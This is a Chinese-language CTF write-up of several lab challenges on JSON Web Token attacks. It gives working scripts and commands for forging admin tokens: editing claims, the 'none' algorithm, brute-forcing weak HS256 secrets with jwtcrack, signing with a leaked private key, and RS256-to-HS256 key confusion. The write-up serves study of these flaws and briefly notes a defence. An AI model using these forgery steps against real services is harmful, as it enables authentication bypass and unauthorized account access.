JWT
JWT(json web token),令牌以緊湊的形式由三部分組成,這些部分由點(.)分隔
Header
Payload
Signature
header示例
{
'typ': 'JWT',
'alg': 'HS256'
}
# typ:宣告型別
# alg:宣告加密的演算法 通常直接使用 HMAC SHA256
需要注意的是因為header部分是固定的所以,生成的base64也是固定的以eyJh開頭的
payload示例
{
"sub": "1234567890",
"name": "John Doe"
}
標準中注冊的宣告 (建議但不強制使用)
# iss: jwt簽發者
# sub: jwt所面向的用戶
# aud: 接收jwt的一方
# exp: jwt的過期時間,這個過期時間必須要大于簽發時間
# nbf: 定義在什么時間之前,該jwt都是不可用的
# iat: jwt的簽發時間
# jti: jwt的唯一身份標識,主要用來作為一次性token,從而回避重放攻擊
signature
是一個簽證資訊,這個簽證資訊由三部分組成
- header (base64后的)
- payload (base64后的)
- secret
注意:secret是保存在服務器端的,JWT的簽發生成也是在服務器端的,secret就是用來進行JWT的簽發和JWT的驗證
更多資訊:鏈接
web345-簡單改值
F12 看原始碼提示 /admin 頁面

要注意使用 url 訪問網頁時
/admin 表示訪問 admin.php 檔案
/admin/ 表示訪問 admin/目錄下的檔案,默認是 index.php
很像檔案夾,所以此處應該訪問 /admin/
在瀏覽器 application 中可以看到 cookie,https://jwt.io/ 解密,如果離線比賽沒有網,可以直接按 . 點號分塊 base64 解密

既然沒有加密修改 sub(jwt所面向的用戶)為 admin,再 base64 加密
將 cookie 復制到 value 中


web346-修改演算法為none
簽名演算法保證了JWT在傳輸的程序中不被惡意用戶修改
但是header中的alg欄位可被修改為none
一些JWT庫支持none演算法,即沒有簽名演算法,當alg為none時后端不會進行簽名校驗
將alg修改為none后,去掉JWT中的signature資料(僅剩header + ‘.’ + payload + ‘.’)然后提交到服務端即可
將 Header 中的加密演算法改為 none
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1632212749,"exp":1632219949,"nbf":1632212749,"sub":"admin",' \
'"jti":"bcad514174d6cf1010c3320a61b59d62"} '
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
將生成的 payload 復制到 cookie 中,訪問 /admin/
web347-弱口令爆破
提示:弱口令
去 jwt.io 解密,hs256 加密,而且改為 none 不可以

弱口令最簡單的方法就是猜,不好猜的話效率很低,可以上爆破
使用工具 jwt-cracker
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4NjE3MywiZXhwIjoxNjMyMjkzMzczLCJuYmYiOjE2MzIyODYxNzMsInN1YiI6InVzZXIiLCJqdGkiOiJlY2NhNmIwODU1ZmQ4ZjU1ZTQ5NmFjZTUxOTliMjg0NiJ9.OwRR768OZk4gvd9zOjsagp0C2aZwrLHMpk2PR8CpKjI
爆破的話要有一段時間,密碼是 123456
將密碼填寫并修改 sub 的值,左邊會自動生成 jwt 字串,復制粘貼到瀏覽器 cookie 中,訪問 /admin/

jwt 字串生成可以使用腳本
# python2
import jwt
payload = {
"iss": "admin",
"iat": 1610777706,
"exp": 1610784906,
"nbf": 1610777706,
"sub": "admin",
"jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))
web348-工具爆破secret
提示:爆破
上題的加強版,上工具 jwt-cracker 爆破就完了,這次直接秒出 secret
root@kali:~/桌面/c-jwt-cracker-master# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjI4Njk4MywiZXhwIjoxNjMyMjk0MTgzLCJuYmYiOjE2MzIyODY5ODMsInN1YiI6InVzZXIiLCJqdGkiOiJhZDljMjEzOWVkNjgwYzUxYmQ2MWQ3YWFlMmVmNDg4ZCJ9.ksxetPa5ZjFXerEkoyhtig1gczu0PDY2QOOyGl_OxFM
Secret is "aaab"
生成 jwt 字串,訪問 /admin/ 得到 flag
web349-公私鑰解密
有一個 js 檔案
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
同一路由,get 訪問設定 cookie,post 訪問檢驗 cookie,user == admin 得到 flag
jwt.io 去解密 jwt 因為采用的加密演算法 RS256 為非對稱加密,需要 public key 和 private key,利用私鑰生成 jwt ,利用公鑰解密 jwt

js 檔案中也是讀取了 private.key(私鑰)檔案才生成的 jwt,使用使用 dirsearch 掃目錄找私鑰檔案,果不其然就在當前目錄發現 private.key

既然是私鑰生成 jwt ,公鑰解密 jwt,只要有私鑰然后自己重新生成即可
訪問 private.key,下載檔案
三種方法生成偽造的 jwt 字串
-
訪問 public.key 和 private.key 在 jwt.io 生成新的字串

-
已知私鑰然后自己重新生成 jwt 字串(我這邊報錯為解決,,)
# python2 import jwt public = open('private.key', 'r').read() payload={"user":"admin"} print(jwt.encode(payload, key=public, algorithm='RS256')) -
和方法2一樣,nodejs 實作,運行下面的js代碼生成jwt (需要安裝jsonwebtoken庫 npm install jsonwebtoken --save,有報錯看這篇鏈接)
const jwt = require('jsonwebtoken'); var fs = require('fs'); var privateKey = fs.readFileSync('private.key'); var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' }); console.log(token)
post 訪問頁面得到 flag

web350-將 RS256 演算法改為 HS256
有原始碼包,原始碼中 public 目錄下存在 public.key 檔案
將 RS256 演算法改為 HS256(非對稱密碼演算法=>對稱密碼演算法)
HS256演算法使用密鑰為所有訊息進行簽名和驗證
而RS256演算法則使用私鑰對訊息進行簽名并使用公鑰進行身份驗證
如果將演算法從RS256改為HS256,則后端代碼將使用公鑰作為密鑰,然后使用HS256演算法驗證簽名
由于攻擊者有時可以獲取公鑰,因此,攻擊者可以將頭部中的演算法修改為HS256,然后使用RSA公鑰對資料進行簽名
這樣的話,后端代碼使用RSA公鑰+HS256演算法進行簽名驗證
訪問頁面拿到 cookie,是 hs256 加密
js 代碼
// yu22x師傅
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
運行得到 payload
node jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzIzMDE1MTB9.KgkWpURzcUQfETJXh2h5UdDtiQmX3Gbg50vp-B4gs6w
替換原來的 cookie:auth post 訪問得到 flag
防御方法:JWT配置應該只允許使用HMAC演算法或公鑰演算法,決不能同時使用這兩種演算法
補充:破解HS256(對稱加密演算法)密鑰
如果HS256密鑰的強度較弱的話,攻擊者可以直接通過蠻力攻擊方式來破解密鑰,例如將密鑰字串用作PyJWT庫示例代碼中的密鑰的時候情況就是如此,
然后,用蠻力方式對密鑰進行猜解,具體方法很簡單:如果密鑰正確的話,解密就會成功;如果密鑰錯誤的話,解密代碼就會拋出例外,
此外,我們也可以使用PyJWT或John Ripper進行破解測驗,
附錄:相關工具
PyJWT庫具體地址為:https://github.com/jpadilla/pyjwt,
>>> import jwt >>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg' >>> jwt.decode(encoded, 'secret', algorithms=['HS256']) {'some': 'payload'}
參考鏈接
https://www.cnblogs.com/dliv3/p/7450057.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/302446.html
標籤:其他
下一篇:漏洞挖掘:一次反序列化漏洞學習
